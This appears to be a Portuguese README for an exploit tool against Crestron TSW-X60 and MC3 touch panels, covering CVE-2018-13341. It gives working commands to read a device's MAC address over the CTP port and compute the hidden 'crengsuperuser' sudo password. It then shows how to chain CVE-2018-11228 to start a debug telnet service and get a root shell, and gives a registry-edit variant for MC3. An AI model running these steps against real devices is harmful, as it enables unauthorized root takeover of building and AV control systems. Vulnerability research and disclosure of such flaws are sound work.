
Ferramenta para explorar CVE-2018-13341 e recuperar senha de conta oculta em dispositivos Crestron
Baseado na descoberta de Ricky Lawshae nos dispositivos Crestron TSW-X60 e MC3, esta ferramenta tem como objetivo explorar o CVE-2018-13341. Usando o endereço MAC do dispositivo alvo, você pode recuperar a senha da conta oculta "crengsuperuser" que possui privilégios elevados e permite que você execute comandos SUDO.
Nos dispositivos Crestron TSW-X60 < 2.001.0037.001 e MC3 < 1.502.0047.00, as senhas das contas sudo especiais podem ser calculadas usando informações acessíveis a usuários com privilégios regulares. Atacantes podem decifrar essas senhas, o que pode permitir que eles executem chamadas de API ocultas e escapem do ambiente de sandbox do console CTP com privilégios elevados.
O Protocolo Crestron Toolbox (CTP) pode ser acessado conectando-se à porta 41795 no dispositivo TSW-XX60. Em seguida, você pode usar o comando estat para obter o endereço MAC do dispositivo:
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
Esta ferramenta requer o módulo cryptography.
$ pip3 install cryptography
OU
$ pip3 install -r requirements.txt
usage: crestron_getsudopwd.py [-h] [-m MAC]
Tool to generate Crestron hidden accounts passwords
optional arguments:
-h, --help show this help message and exit
-m MAC, --mac MAC Target MAC address (w/o colons or dots)
# Example
$ python3 crestron_getsudopwd.py -m aabbccddeeff
[*] Device MAC address: AABBCCDDEEFF
[*] Password for 'crengsuperuser': RgXkA6Q415puxN0t
O CVE-2018-11228 permite RCE não autenticado por meio do Bash Shell Service no Protocolo de Terminal Crestron (CTP). Depois de obter a senha da conta oculta "crengsuperuser", você pode obter acesso root no sistema Linux subjacente.
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
Em seguida, em um novo shell, você pode obter acesso root no dispositivo.
$ telnet w.x.y.z
bash-3.2# whoami
root
Nota: Este exemplo é para dispositivos TSW. O processo é um pouco diferente para dispositivos MC3. Você precisa usar os seguintes comandos para habilitar o shell:
SUDO -SN:crengsuperuser -SP:password REGEDIT \\comm\\telnetd addval UseAuthentication DWORD 0e, em seguida,SUDO -SN:crengsuperuser -SP:password LAUNCH \\windows\\services.exe /params start tel0:
Aqui estão alguns recursos interessantes relacionados a esta vulnerabilidade: